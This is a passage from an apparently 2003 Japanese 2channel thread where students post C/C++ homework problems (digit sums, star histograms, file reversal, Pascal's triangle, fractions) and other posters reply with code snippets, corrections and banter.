else for(n*=10,n ++,i=1;i<(1<<N);i<<=1,n++)
if(!(f&i)) GenKomatiSqNum(f|i,n);
}
int main(void){GenKomatiSqNum(0,0);return 0;}
>>743 環境依存(笑) Cygwin でも動くかも。
ついでに、あなたが実行しないとダメだけど。
#include <stdlib.h>
#include <stdio.h>
FILE *Command_Buffer;
char Name[100];
int main(){
Command_Buffer=popen("whoami","r");
fscanf(Command_Buffer,"%s\n",Name);
pclose(Command_Buffer);
fprintf(stdout,"Hi! %s .\n",Name);
return 0;
}
748 :
デフォルトの名無しさん :03/11/13 01:12
整数が入力されたときに、入力された整数の各桁の数値の和を求める プログラムはどう作ればいいのでしょうか?
>>748 どう入力するのかしらんが、おそらく文字列として入力するんだろう。
それならあとは簡単だろ。
質問なんですが、 char s[]='afdsd'; char g[]='afdsd'; 文字列どうしを if(s == g) とかいうふうに比べることはできないですよね?
>>750 実際にやってみた方がいいよ。
ちゃんと動作するのか、誤動作するのか、コンパイルでエラーになるのか、
やってみた方がいいと思う。
文字列の比較なら、string.h の strcmp を。
strcmpですか。ありがとうございます。
>>752 ついでに
文字列はシングルクォート ( ' ) ではなくダブルクォート ( " ) で囲む
>>753 1999年の規格では文字列もシングルクォートでOKとなった
C99 かよ!
>>733 #include <stdio.h>
typedef struct {
double weight;
double square;
int carry;
char used[10];
} State;
int check(int num, State *st)
{
int num_c = num + st->carry;
int digit = num_c % 10;
if (st->used[digit]) return 0;
st->used[digit] = 1;
st->carry = num_c / 10;
st->square += digit * st->weight;
st->weight *= 10;
return 1;
}
int main(void) { int a, b, c, d, e, count = 0; for (a = 0; a <= 9; ++a) { State st_a = {1}; if (!check(a*a, &st_a)) continue; for (b = 0; b <= 9; ++b) { State st_b = st_a; if (!check(2*a*b, &st_b)) continue; for (c = 0; c <= 9; ++c) { State st_c = st_b; if (!check(2*a*c + b*b, &st_c)) continue; for (d = 0; d <= 9; ++d) { State st_d = st_c; if (!check(2*a*d + 2*b*c, &st_d)) continue;
for (e = 0; e <= 9; ++e) { /* e >= 3 */ State st_e = st_d; if (!check(2*a*e + 2*b*d + c*c, &st_e)) continue; if (!check(2*b*e + 2*c*d, &st_e)) continue; if (!check(2*c*e + d*d, &st_e)) continue; if (!check(2*d*e, &st_e)) continue; if (!check(e*e, &st_e)) continue; if (!st_e.carry || !check(0, &st_e)) continue; { double x = a + 10*b + 100*c + 1000*d + 10000*e; double sqx = x * x; printf("%d: %.0f (%.0f^2 => %.0f) %s\n", ++count, st_e.square, x, sqx, st_e.square == sqx ? "ok" : "bug"); } } } } } } return 0; }
759 :
デフォルトの名無しさん :03/11/13 02:52
>>756 お前、今までに「もしかして自分はプログラミングに
向いていないんじゃないか?」と考えたことない?
760 :
デフォルトの名無しさん :03/11/13 02:57
テキストエディタを用いて、20個の整数をdata.txtというファイルに保存せよ。 ただし、各整数は空白か改行で区切られているものとする。
何?
763 :
デフォルトの名無しさん :03/11/13 03:24
>>748 int n;
cin >> n;
int k = log10(n);
vector<int> vec;
vec.reserve(k +1);
for(vector<int>::size_type i = vec.capacity() - 1; i >= 0; --i)
{
vec.push_back(n / pow(10, i));
n %= pow(10, i);
}
cout << accumurate(vec.begin(), vec.end(), 0) << endl;
[問題8] n (入力)人のテストの点( 100 点満点)を入力し,10 点刻みの各範囲に入る人数を数え, 「*」によって横方向の棒グラフを描くプログラムを書け. 例えば,10 点刻みの場合は,0〜9 点,10〜19 点,・・・,90〜99 点,及び, 100 点以上という各範囲に入る人数を数え,それらの人数が, 1 2 0 7 10 11 9 7 4 3 1 であった場合,下に示すようなグラフを出力することになる(「*」の数は人数と同じとする). * ** ******* ********** *********** ********* ******* **** *** *
765の答えが #include <iostream.h> main() { int i1, i2, k, n, ten, x[11] = {0}; cin >> n; for(i1 = 0; i1 < n; i1++){ cin >> ten; k = ten / 10; x[k]++; } for (i1 = 0; i1 < 11; i1++) { for (i2 = 0; i2 < x[i1]; i2++){ cout << '*'; } cout << endl; } return 0; } なんですけど、 次の問題
次の問題 [問題9] n (入力)人のテストの点( 100 点満点)を入力し,10 点刻みの各範囲に入る人数を数え, 「*」によって縦方向の棒グラフを描くプログラムを書け. ただし,空白部分は,「-」(半角のマイナス記号)で埋めよ. 例えば,10 点刻みの場合は,0〜9 点,10〜19 点,・・・,90〜99 点,及び, 100 点以上という各範囲に入る人数を数え,それらの人数が, 1 2 0 7 10 11 9 7 4 3 1 であった場合,下に示すようなグラフを出力することになる(「*」の数は人数と同じとする). -----*----- ----**----- ----***---- ----***---- ---*****--- ---*****--- ---*****--- ---******-- ---*******- -*-*******- **-******** 縦方向の棒グラフにするにはどうしたらよいのでしょうか?
>>767 #include <iostream>
#include <vector>
#include <string>
#include <algorithm>
#include <iomanip>
using namespace std;
const int n = 20; const int max_level = 11;
int main(int, char**)
{
vector<int> data;
for (int i = 0; i < max_level; i++) data.push_back(0);
for (int i = 0; i < n; i++){
int v; cin >> v; data[min(v/10, max_level)]++;
}
string vgraph(max_level, '-');
for (int line = *max_element(data.begin(), data.end()); line > 0; line--){
for (int i = 0; i < max_level; i++)
if (data[i] == line)
vgraph[i] = '*';
cout << vgraph << endl;
}
return 0;
}
769 :
デフォルトの名無しさん :03/11/13 05:15
>>763 ありがとうございます。
それをC言語で記述するとしたら、どうなるのですか?
つか、C希望なら名前にC++と書くな
宿題を小出しにするヤシ嫌い
申し訳ありません。 ポインタのことまったく分かっていないので厨ですので ポインタをなるべく使わないでいただけたらうれしいです。
そんなの知らん
>>733 遅レスだけど
#include <stdio.h>
#include <math.h>
int isit(long long value)
{
int map = 0, i, n;
for (i = 0; i < 10; i++, value /= 10){
n = 1 << (value % 10);
if (map & n) break;
map |= n;
}
return map == 0x3ff;
}
const long long ans_min = 1023456789LL;
const long long ans_max = 9876543210LL;
int main()
{
long long i;
for (i = (long long)sqrt(ans_min); i*i <= ans_max; i++)
if (isit(i*i)) printf("%lld\n", i*i);
return 0;
}
#include <stdio.h> #include <string.h> main() { int i; int sum, len; int n; char word[ ] = "n"; printf("整数を入力してください。\n"); scanf("%s", &n); len = strlen(word); for(i=0; i < len; i++){ sum += word[i]; } printf("与えられた数字の各桁の数の和は %d です。\n", sum); return 0; } うまくいかない・・・どこがおかしいのかな・・・
実行結果は、 与えられた数字の各桁の数の和は 5505134 です。
>>778-779 ・sumを初期化しよう
・word[]からあふれるのでサイズを指定しよう
・word[i]に入っている値は文字コードであって数字ではない。word[i]-'0'が正しい値
>>780 さんの指摘で疑問に思ったのですが、
なぜword[i]-'0'と入れなければ正しい演算が出来ないのですか?
文字コードでググって分からなければもう一度聞きに来い
そもそも0から9までコードが並んでいるとも限らないわけだが。
>>782 こう書いたら余計混乱するかな。
値 文字
65 'A'
48 '0'
1 '\x01'
0 '\0'
>>785 まあ、一般にっつーことで。
たかが宿題でそこまでは求めてないだろう
>>784 なるほど、おまえは1分で検索結果のめぼしいところを検索し終えるわけだ
>>776 モノクロ画像の濃度のヒストグラムです。
792 :
デフォルトの名無しさん :03/11/13 11:31
リスト(linked list)で平均値を求めるには? List::Average(){ この内容教えてください}
Listクラスにiterator実装して size_type List::Average() { return std::accumulate(begin(), end(), 0) / std::distance(begin(), end()); }
795 :
デフォルトの名無しさん :03/11/13 12:06
テキストエディタを用いて、20個の整数をdata.txtというファイルに保存せよ。 ただし、各整数は空白か改行で区切られているものとする。
>>795 それは本当にC/C++の宿題なのか?どうなんだ?
> テキストエディタを用いて オイ
ファイルポインタ
( ´∀`) <ふぁいぽ
Segmentation fault Bus error NaN のdefinitionを教えてください。
NaN = インド、パキスタンから中東諸国、北アフリカの一部にわたる広大な地域に広がっている半発酵の平焼きパン。 補足トリビア:アフガニスタンでは食物全体を意味する言葉でもあり、日本語の「めし」に近い。
( ゚Д゚)ツマンネ
プログラムの途中で double型の変数a に 1801.0000 という値が入っいて それをキャスト演算子でint型にしたら 1800 が入ってしまうんですが(本当は1801が入って欲しい) これはありえないですか?プログラムの別のどこかがおかしいのでしょうか? 書き方は以下です。 (int)a
>>803 ありえないことはないだろ。
1801.0000 というが、内部的には 1800.99999.... となってるんじゃないかな。
double → int のキャストは小数点以下切捨て、
0に向かって丸めだから。
805 :
デフォルトの名無しさん :03/11/13 16:32
5時45分まで暇だから、問題カモーン
Cで レジストリのHKEY_CLASSES_ROOTにAというディレクトリがあり そこに2CHというキーがあったとします その2CHというキーを削除するものを作りなさい 多少変更してあります(藁 誰かやってください
ありがとう!そのとおりだった
>804 ありがとう!そのとおりだった
おねがい、教えて。 意味不明なんでつ。 ぐぐってもわかんね
そのうち「ぐぐりかた総合スレ」なんてのができるかもしれんな(笑
>>785 ASCII でも EBCDIC でも 0〜9 は並んでいる
並んでいないのは A〜Z な
816 :
デフォルトの名無しさん :03/11/13 21:30
#defineってのが分かりません。 何のために使うのですか??
>>815 標準C/C++が文字の並びについてなにも保証していない以上、
それに依存したコード書くんじゃねぇってことだろ。
>>812 そのときは~とか!みたいな特殊文字の検索法きぼんぬ。
GoogleHack買いたいけど店に売ってねー。amazon.comで注文しよっかな
>>817 つまり標準に従うなら atoi 使えってことか?
違うな ヌル文字で終端していなければ使えない
>>771 #include <stdio.h>
static const int hist[] = {
1,8,34,105,1189,4667,12335,11930,13534,11913,13023,13148,18436,15961,15774,
11436,9761,6343,6564,4758,6768,4826,6790,5400,6275,6862,6714,5142,6605,6114,
6755,6247,7006,6288,7440,5614,7712,5544,7652,5650,5910,7184,6644,5011,6395,
5808,6179,5184,5985,5046,5656,4372,6045,4142,5629,3980,4678,4050,4400,3333,
4052,3698,4020,3267,3657,3025,3455,2365,3290,2305,3051,2267,2479,2548,2521,
1924,2397,2149,2387,1948,2307,2099,2409,1856,2570,1853,2519,1890,2109,2316,
2467,1838,2310,2088,2328,2010,2137,1839,2213,1665,2348,1731,2411,1890,2148,
2391,2345,1823,2349,2316,2842,2726,3597,3290,3980,3324,4877,3471,4815,3501,
3629,3931,4186,3233,3701,3215,3236,2607,2544,1841,1812,1102,1251,772,975,708,
525,517,372,252,250,231,212,172,207,210,205,144,116,41,27,8,7,2,1};
int main() {
int i;
for (i = 0; i < 23; i++) printf("%3d: 0\n", i);
for (; i < 178; i++) printf("%3d: %d\n", i, hist[i - 23]);
for (; i < 256; i++) printf("%3d: 0\n", i);
return 0;
}
テキストエディタを用いて、20個の整数をdata.txtというファイルに保存せよ。 ただし、各整数は空白か改行で区切られているものとする。 data.txtから20個の整数を読み込んで、それらを配列に格納せよ。 その配列の全要素を逆順にoutput.txtへ出力せよ。 この時各要素は空白で区切られるものとする。 ファイルの入出力に関する問題ですが、どうにも分からないです。 教えていただけないでしょうか?
>>822 795か、昼間はいったい何があったんだw
>>770 あなただれですか?
>>769 >>763 でnに753を入力したとしましょう。
すると100<=n<1000だからlog10(n)は2と3の間の数ですね。
それをint型のkに代入すると小数部分が切り捨てられた2がkに入ります(キャストすべき)。
で、k+1はnが何桁かをあらわしています。あとは上の桁から調べていきます。
nを100(10のk乗)で割った商が、nの100の位である7ですね。
0で初期化した変数(int sum = 0; とか)に足したりしてとっておく。
>>763 ではわざわざ配列みたいなものに格納していますが、しなくていいです。
次にnを100(10のk乗)で割った余りを求めると、10の位以下が残りますね。
それを10割った商がnの10の位である5です。これもまたsumに足す。以下略
log10()関数やpow()関数はmath.hをincludeすれば使えます。
>>822 #include <vector>
#include <fstream>
using namespace std;
int main(int argc, char **argv) {
vector<int> a(20);
ifstream ifs("data.dat");
ofstream ofs("output.dat");
for(int i = 0; i < 20; i++) { ifs >> a[i]; }
for(vector<int>::reverse_iterator it = a.rbegin(); it != a.rend(); it++) ofs << *it << " ";
ifs.close(); ofs.close();
return 0;
}
>>825 それだと空白が最後のデータの後ろにも入っちゃうよ
>>763 =
>>767 =
>>825 お前なぁ、何でもかんでも vector 使えばいいってもんじゃないだろ(w。
せめてもう少しエレガントなコーディングができる様になってから顔を出せや。
特に
>>822 は問題文に「それらを”配列に”格納せよ」って書いてあるだろうが。
>>824 効率というものについてもっと勉強しよう。
>>827 いや、自分は767や825は知りませんよ。vector云々は824で触れてある
vectorも配列の一種だろ
つーかiterator使用の有無の違いからして明らかに別人じゃん。
832 :
デフォルトの名無しさん :03/11/14 00:43
>>828 vec.capacity() - 1 は k でいいだろうということですか?
そもそもvectorに格納する必要なしということですか?
どっちにしろ
>>824 で触れています。
それとも、文字列として処理した方が高速だということですか?
どの程度違うのか知りませんが、宿題の回答としては問題
ないと思います。むしろ
>>748 さんにいろいろな方法を提供した
方が彼/彼女のためでないかと思うのですが、すみません
pow(10, i)を2回も書くなって事かな?
>>833 いや、上の桁から求める必要はないということ。
>>835 すみません、お手数ですが説明してください。
powなんていう重い物使わずに*=10使えって事じゃないかな?
>>836 do sum += n % 10; while (n /= 10);
まあ普通はそう書くわな
富豪的プログラミングの時代なんだからどっちでもいい
>>837 *=10使うってことは、下の桁から求めてくってことですよね。
あ、そんなことないですね。
int n;
cin >> n;
int k = (int)log10(n);
int sum = 0;
for(int i = k; i >= 0; --i)
{
int m = 1;
for(int j = 0; j < i; ++i)
m *= 10;
sum += n / m;
n %= m;
}
cout << sum << endl;
こうしろってことですね。
#include<stdio.h> #define LINEMAX 10 int tri[LINEMAX][LINEMAX]; main() { int i, j, n, line; for(;;){ printf("行数を指定してください:"); scanf("%d", &line); if( 0 < line && line < 10){ for( i = 1; i <= line ; i++){ for( n = i; n <= line; n++) printf(" ");
for( j = 1; j <= line; j++){ if (j == 1) tri[i][j] = 1; else if (j == i) tri[i][j] = 1; else tri[i][j] = tri[i - 1][j - 1] + tri[i - 1][j]; printf("%3d ", tri[i][j]); } putchar('\n'); } } else{ printf("注意:入力できる数値は1-9までの整数に限られています。\n"); continue; } } }
>>841 最低限 log10 を使うのは止めろ。
0 が入力されてたらどうすんの?
パスカルの三角形の右側に0の三角形が出来てしまいまつ… どうすれば良いのかお願いしまつ(´・ω・`)
847 :
デフォルトの名無しさん :03/11/14 03:40
>>846 >>844 1行目を
for( j = 1; j <= line; j++){
から
for( j = 1; j <= i; j++){
に変更。
まず,5個の要素を持つ整数型配列を用意する. 「デ−タ個数」だけ適当な整数をキ−ボ−ドから読み取り,配列の先頭から順番に代入してゆく. 最初に入力したデ−タ個数をキ−ボ−ドから読み取った後,その読み取った各整数の最大値と最小値を, それぞれ探しだして表示するプログラムを作成せよ. 実行例: No. 1 data = 24 No. 2 data = -56 No. 3 data = 10 No. 4 data = 5 No. 5 data = 48 最大値 = 48 最小値 = -56 実行例: No. 1 data = -1 No. 2 data = -19 No. 3 data = -209 No. 4 data = -4 No. 5 data = -16 最大値 = -1 最小値 = -209 すんませんどなたかおしえてくだせぇ
849 :
デフォルトの名無しさん :03/11/14 06:08
入力一つと for (i = 2; i <= 5; i++) で入力を受ける。 最大値と最小値を判定する。
>>827 > せめてもう少しエレガントなコーディングができる様になってから顔を出せや。
純粋な質問だけど、
>>825 のコーディングって、もっとエレガントに書けるの?
これ以上工夫のしようもないと思うんだけど。
別にreverseかけなくったってポインタを最後に持っていって 減らしていけばいいんでないかい?
>>850 私ゃ827じゃないけど、825は工夫のしよう云々じゃなくてださいんだわさ。
20なんて定数が2回も出てきちゃう辺りもうダメダメ。
それに、2回のループの片方はiでもう片方はitなんて見てらんない。
しかも、片方は複文化してるのにもう片方はしてないとか、センスを疑っちゃう。
細かいヤツだな、ちゅーかハッキリ言っておまえはウザイ。
すいません、cかc++か書くのを忘れてました。 c++です。
>>851 はreverse掛けてないじゃん。イテレータを逆に辿ってるだけだし。
>>847 ありがとうございました!
レポート間に合いそうでつ
858 :
デフォルトの名無しさん :03/11/14 12:27
ファイルを読み込み値が小さいもの順にソートするプログラムをお願いします。 テキストには、n個のデータと名前があります。それを値が、 小さいもの順に別のテキスト保存し、値の隣に名前も保存できるようにお願いします。 テキストファイルの中身(date.txt) 17.56 Itirou 12.367 Jirou 1.5655 Saburou 56.23 Shirou 0.35 Gorou **ソートしたフェイルの中身(sotr.txt) 0.35 Gorou 1.5655 Saburou 12.367 Jirou 17.56 Itirou 56.23 Shirou としてください。お願いします。
859 :
デフォルトの名無しさん :03/11/14 12:51
C言語で悩んでいます。 3角形の3辺を入力して、3つの角度を表示したいのですがうまくいきません。 どなたかわかる方お願いします。 一応、余弦定理を利用せよとの指示がでています。 main()以降の全文を紹介してくれると嬉しいです。
>>858 int comp( void* arg1, void* arg2 ) {
return atof( (const char*)arg2 ) - atof( (const char*)arg1 );
}
これを使ってqsortだ!
861 :
デフォルトの名無しさん :03/11/14 13:18
月曜日まで提出。私はあほです。 ファイル名 sample.dat test_72 6 1 0 0 (a b c d e f g) 5 481.0 2214.0 209.0 5237.0 -5.0 8330.0 0 481.0 2215.0 209.0 5238.0 -5.0 8331.0 0 481.0 2216.0 209.0 5239.0 -5.0 8332.0 0 481.0 2217.0 209.0 5240.0 -5.0 8333.0 0 481.0 2218.0 209.0 5241.0 -5.0 8334.0 5 482.0 2219.0 210.0 5242.0 -4.0 8335.0 test_73 5 1 0 0 5 459.0 3747.0 215.0 6784.0 -1.0 9925.0 5 460.0 3748.0 216.0 6785.0 0.0 9926.0 0 460.0 3749.0 216.0 6786.0 0.0 9927.0 0 460.0 3750.0 216.0 6787.0 0.0 9928.0 0 460.0 3751.0 216.0 6788.0 0.0 9929.0 上記のデータファイル(sample.dat)を開いて、並び替えを行い別名(sample2.dat)で保存。 その際の条件(出力結果) aは、不要。b-c,d-e,f-gの位置を入れ替える。
862 :
デフォルトの名無しさん :03/11/14 13:43
>>794 まことに恥ずかしながら「Listクラスにiterator実装」
の仕方教えてください。
#include <stdio.h> int main(void) { FILE *fp1; FILE *fp2; int i, table[20]; fp1 = fopen("data.txt", "r"); fp2 = fopen("output.txt", "w"); for (i = 0; i < 20; i++){ fscanf(fp1, "%d", &table[i]); } for (i = 19; i >= 0; i--){ fprintf(fp2, "%d\n", table[i]); } fclose(fp1); fclose(fp2); return(0); }
上記のプログラムだと実行する時に何か不都合があって、実行出来ないです。 秀丸だと出来るのに何故c++だと出来ないんでしょうか? プログラムにも問題があるのでしょうか??
865 :
デフォルトの名無しさん :03/11/14 14:10
>>822 >秀丸だと出来るのに
エディタは関係ない。処理系等環境晒せ。
867 :
デフォルトの名無しさん :03/11/14 14:22
反復深化探索のプログラムを教えたもう。 どこのHPにも載ってないんです。 たのんます。
↓ここから キーボードから二つの整数を変数に入力したのち、 ポインタを使ってたがいの値を交換するプログラムをつくりなさい。 ↑ここまで という問題です。よろしくお願いしますー。
869 :
デフォルトの名無しさん :03/11/14 14:48
>>859 #include <math.h>
#include <stdio.h>
double ops(const double th, const double nh1, const double nh2)
{
return acos((nh1*nh1+nh2*nh2-th*th)/(2*nh1*nh2));
}
int main(void)
{
double a, b, c;
printf("a, b, c:");
scanf("%lf %lf %lf", &a, &b, &c);
printf("A, B, C = %f, %f, %f\n", ops(a, b, c), ops(b, c, a), ops(c, a, b));
return 0;
}
>>869 東京電気大学理工学部情報科学科
プログラム言語IIキタ━━━━━(゚∀゚)━━━━━!!
>>811 ありがたう。しかし、bus errorがわかんね。
誰か教えてお願い。
18時になったら手遅れだけど。
おにいさま、ありがとう。 提出してきまつ。
expression stream != NULL って出てきたんですが、どう直せば良いでしょうか?
そりゃおめぇ、ファイル開くのに失敗してんだべ。
877 :
デフォルトの名無しさん :03/11/14 18:20
>>869 課題7-b の回答。後のレポートは助けられんぞ。
void MyError(char *s){fprintf(stderr,"%s\n",s);exit(1);}
Vector *VectorAlloc(int n)
{
Vector *v, *w;
if((w=v=(Vector *)malloc(sizeof(Vector)*(n+1)))==NULL) MyError("メモリの確保に失敗した");
w->number=n;
while(n--) (++w)->element=0;
return v;
}
Vector *vectorSum(const Vector *a, const Vector *b)
{
Vector *c, *d;
int n = a->number;
if(n!=b->number) MyError("a と b の element の値が同じでない");
c=d=VectorAlloc(n);
while(n--) (++d)->element=(++a)->element+(++b)->element;
return c;
}
>>869 つか、
「自分が提出した課題4-bを雛形として改造すること」
と書いてある以上、「自分が提出した課題」をここに晒さないと始まらないのでは?
>>863 > for (i = 19; i >= 0; i--){
を見て思ったこと。
>>825 は19を書きたくなくてreverse_iteratorを使ったんだろうな…。
880 :
デフォルトの名無しさん :03/11/14 20:04
C言語で2つの整数i,jを用いてij*ji=1300となるような 最小のiを求めるプログラムはwhile文を用いてはどうなりますか? 例えばi=5 , j=3ならば53*35という感じです。 while文を2回使うと思うのですが分かりません。 どなたかご教授お願いします。
i=10; while(1) { int j = i/10 + (i%10)*10 if( i*j == 1300) break; i++; }
for (i = 0; i < 10; i++) for (j = 0; j < 10; j++) if ((10*i + j) * (10*j + i) == 1300) return i;
ん〜とね・・・ pow(i,2)*pow(j,2)==1300 になればいいんでしょ?
884 :
デフォルトの名無しさん :03/11/14 20:39
>>884 だって
ij * ji == 1300
とは (i * j) * (j * i)でしょ?
といおうとしたら、とんでもない勘違いをしてた・・・
すみませんでした。
iとjが上位桁なんですね・・・ ij とか ji で演算子含まないのはおかしいなぁって思ったんですけどね
>>879 for (i = 20; i-- > 0; ){
iの方がちっちゃいから… for (i = 0; i < 10; i++) for (j = i; j < 10; j++) if ((10*i + j) * (10*j + i) == 1300) return i;
889 :
パスカルの三角形がわかりません。 :03/11/14 22:06
宿題で出たんですけどこのようにするにはどうしたらいいんでしょうか? 数字を入力すると↓みたいになります。 4 * * * * * * * * * * あとこれの負の場合もあるんですけどよろしいでしょうか? だれか教えてください
>>881 i=10;
while(1)
{
int j = i/10 + (i%10)*10
if( i*j == 1300) break;
i++;
}
>>889 なんか名前あったね
コンビネーション使うといいらしい
パスカルだっけ?
20-1でいいじゃん。<19
ごめん。コピペした段階でミスって書き込んだ。
>>881 をちょっと変えてみる。
i=10;
while(i<100)
{
int j = i/10 + (i%10)*10
if( i*j == 1300) break;
if( i*j > 1300) i=i/10*10+10; else i++;
}
if( i >= 100) printf("Not found\n");
else printf("i=%d\n", i/10);
894 :
パスカルの三角形がわかりません。 :03/11/14 22:14
>>891 そうです、確かパスカルだったと思うですけど・・・あやふやですみません。 自分で言うのもなんですが初心者なので、そのコンビネーションがなんなのかも わからないのです・・・。
>>894 なんか、見てるとむかつくよな。
人の知識を加えて更に人に質問するところとか見ると厨房かなんかかと
つーか、マルチなんだから無視すべし。
900 :
デフォルトの名無しさん :03/11/15 00:01
900
901 :
デフォルトの名無しさん :03/11/15 00:32
C/C++を数年やっといて、今更聞くのも何だが、 char を何と発音しますか? ガンダム好きは「シャア」支持ですか? 「チャー」と呼ぶのは、邪道ですか?
変な宿題ですね。読み方調査ですか?
ネタならともかくガンダム好きでもシャアとは呼ばないと思うぞ
904 :
デフォルトの名無しさん :03/11/15 00:34
>>901 charって読む
もともとはcharcter関数だから、
そのまんま。
キャラ
>>901 は数年やってるから語源ぐらい知ってると思うけど
自分はちゃーかな。ネタできゃーと言ってみる
だれかCでボンブリスつくって。 おれSHARPのポケコンだからできない。
908 :
デフォルトの名無しさん :03/11/15 00:48
>>880 9 tmp=1089;
10 for(i=9;i;i--)
11 {
12 for ( j = i;j;j--){
13 k=(10*i+j)*(10*j+i);
14 if(tmp==k){printf("%d,%d\n",i,j);goto finded;}
15 if(tmp>k){break;}
16 }
17 }
18 finded:
10‐15行を変えればもっと探索する個数が減らせるけど、めんどくさいのでやめた。
ヒント:2分探索法
もまいら、880の「while文を用いてはどうなりますか」を無視したら かわいそうだろう。
1/2 + 1/3 + 1/4 +....と計算するプログラムを、 分数の宣言部分をex.hとし、 既約分数にする関数と、分数の和を求める関数と、分数を出力する関数をまとめてex-sub.cとし、 mainプログラムをex.cとして書け。 ex-sub.cとex.cをそれぞれコンパイルしてexというプログラムを作るMakefileをex.mkとして 作成しなさい。 /* * ex.h */ struct bunsu { int bunshi; int bunbo; }; extern struct bunsu *add(struct bunsu *a, struct bunsu *b); 分割コンパイルの問題です。 現在↑の部分だけ分かっています。誰か続きをおながいします。
extern struct bunsu *subtraction(struct bunsu a, struct bunsu b); // 引き算 なんで全部ポインタにしてるわけ?
明らかに発散するな
まず、全部ポインタであらわさないようにしよう
add(a, b) { bunsu c; c.bunshi = a.bunshi * b.bunbo + b.bunshi * a.bunbo; c.bunbo = a.bunbo * c.bunbo; return 0; } あとはコレを改良して。 このままだと計算してくとオーバーフローする
916 :
デフォルトの名無しさん :03/11/15 02:15
>>912 メモリを有効につかうためにはポインタの方がいいんじゃない?
メモリ取得は非常にコストがかかる。
ただ、下の宣言の方がいいんじゃないかと思う。
extern struct bunsu *add(const struct bunsu *a,const struct bunsu *b);
あぁ。 個人的に、メモリで渡すと何をされて帰ってくるか解らないからやだって事ね struct bunsu add(const struct bunsu *a,const struct bunsu *b); これでいいね なるほどconstとはいい手ですね
効率のために本質を見失うようなプログラムは最近は流行らない。 どうせそんなにタイトなプログラムじゃないんだし、値を渡すなら堂々と値を渡すべし。
いいこと言うね。 ポインタを使わなくていいところでは使わないほうがいいよ。 解りにくくなるから
>struct bunsu add(const struct bunsu *a,const struct bunsu *b); C++だったら >struct bunsu add(const struct bunsu &a,const struct bunsu &b); でいいんだろうけど。 #それ以前にoperator+か。
みなさまありがとうございました。 何通りも答えていただいて大変参考になりました。
923 :
デフォルトの名無しさん :03/11/15 15:24
#include <stdio.h> #include <stdlib.h> /*--- int型オブジェクトの比較関数 ---*/ int int_cmp(const int *a, const int *b) { if (*a < *b) return (-1); else if (*a > *b) return (1); return (0); } int main(void) { int i; int x[] = {1, 3, 2, 9, 8, 6}; int nx = sizeof(x) / sizeof(x[0]); /* 配列xの要素数 */ puts("ソート前"); for (i = 0; i < nx; i++) printf("%d ", x[i]); qsort(x, nx, sizeof(int), (int(*)(const void*, const void*))int_cmp); puts("\nソート後"); for (i = 0; i < nx; i++) printf("%d ", x[i]); return (0); } ↑このプログラムをテキストファイルから数値を読み込みソートする場合にしたいのですが、 どのようにしたらよいのでしょうか?
>>923 x と nx を取得するサブルーチンを作る
どうでもいいけどint_cmp は return *a - *b; じゃだめ?
06 |******* 7 07 |****************** 18 08 |********** 10 09 |********** 10 10 |******************* 19 11 |*********************** 23 12 |************************** 26 13 |*************************** 27 14 |****************************************** 42 15 |************************************** 38 16 |************************************************************* 61 17 |************************************************************ 60 18 |****************************** 30 19 |******************************** 32 20 |********************************************************************************* 81 21 |******************************************************** 56 22 |*********************************************************** 59 23 |********************************************************************************* 81 00 |********************************************************************************* 81 01 |******************************************************************************* 79 02 |********************************* 33 03 |**************************** 28 04 |***************** 17 05 |******** 8
長方形の左下隅点(origin)と右上隅点(corner)を読みこんで表示するプログラムを作りたいのですが、 下のプログラムのmain関数教えてくらさい。 #include<stdio.h> struct point(int x; int y;); struct rect(struct point origin; struct point corner;); struct point get_point(void){ sturct point p; printf("enter x and y:"); scanf("%d %d", &p.x, &p.y); return p; } void put_point(struct point p){ printf("(&d, %d)\n",p.x, p.y); } struct rect get_rect(void){ struct rect r; r.origin = get_point(); r.corner = get_point(); return r; }
イミフメ
結局答えはどうなるのでしょうか??
>>932 質問はナンだっけ?
漠然としてたからわからなかったよ
C言語で、atoiを使わずに文字型に入力された数値を整数型に 変換して出力させるのにはどうすればいいのですか?
strtol sscanf
>>936 そんなこと質問せな分からんようならatoi使っとけ。
(int)strtol(str, (char **)NULL, 10) とか?
atol
>>938 ええええええ、殺生な・・・・・・・・・・
>>936 はどのようにスレばいいの?って逝ってるんだからどうすればイイ化いえばいいじゃん
別にソースを張る必要もなし
文字を数値へ一個ずつカエレ
全部で 20 個の整数データを順に入力するものとする. その際,各データを入力する毎に,新たに入力されたデータが,すでに入力されたデータと異なる場合だけ, そのデータを出力するプログラムを書け.なお,データは,1行に1つずつ出力せよ. C++でお願いします。
問題は命令で、お願いしますとは何?
946 :
デフォルトの名無しさん :03/11/16 00:08
>>943 >別にソースを張る必要もなし
図星・・・。俺、ソース貼り付けしようとしたら、
改行多すぎるって却下された。
萎えたので、書かない。
>>943 だけど、
漏れの前作ったソースコードから引っ張り出そうと思ってFDを入れたら・・・
「フォーマットをしますか?」
今まで作ってたソース全部が消えたわな・・・
ちとまたれよ。そんな難しくないし
int strtol(const char *s) { int result = 0;//結果用 int c;//汎用変数 for (c=0; c<12 && *(s+c); c++) { result = result * 10 + *(s+c) - '0'; } return result; } ほい、12桁までなら返す
というか、ココで”人”に作ってもらうならば 元から”誰か”が作った物を使えばいいよ。標準関数のことね どっちにしても”人”がつくったんだし。
>>944 アリ?
#include <iostream>
#include <iomanip>
#include <set>
using namespace std;
int main(int,char**)
{
set<int> iset;
for (int i = 0; i < 20; i++){
int j; cin >> j;
if (iset.find(j) == iset.end()) cout << j << endl;
iset.insert(j);
}
return 0;
}
>>948 すげぇな、64bitプログラミングはw
>>948 なるほど・・・・・考えてみます。39でした。
>>953 です
9桁までしか扱えねージャン。
コレはごめんよ
なぜ12桁なんだらうか・・・
>>955 何故なんでしょうかね?
自分でもよくわからないけど、12桁って出てきちゃいました。
結局質問した人は何処へいったのやら
957 :
デフォルトの名無しさん :03/11/16 00:49
ファイルを読み込み値が小さいもの順にソートし、ファイルに出力せよ。 なお、読み込みファイルと出力ファイルは以下のようにする。 (読み込みファイル)input.txt 56.75 Hanako 12.5 Tarou 100 Kenji (出力ファイル)output.txt 12.5 Tarou 56.75 Hanako 100 kenji ================================== という課題がでました。 わかりませんので、お願いします。
>>944 #include <iostream>
#include <map>
int main()
{
using namespace std;
map<int,int> m;
int n,i=5;
while(i-- >0 && cin>>n){
if(m[n] == 0){
m[n] = n;
cout<<"・・・・"<<n<<endl;
}
}
return 0;
}
「あ゛」ごめん。 int n,i=5; のとこ int n,i=20; の、間違い。
>>944 #include <iostream>
#include <set>
main()
{
using namespace std;
set<int> s;
for (int i = 0; i < 20; ++i)
{
int j;
cin >> j;
if(s.insert(j).second)
cout << j << endl;
}
}
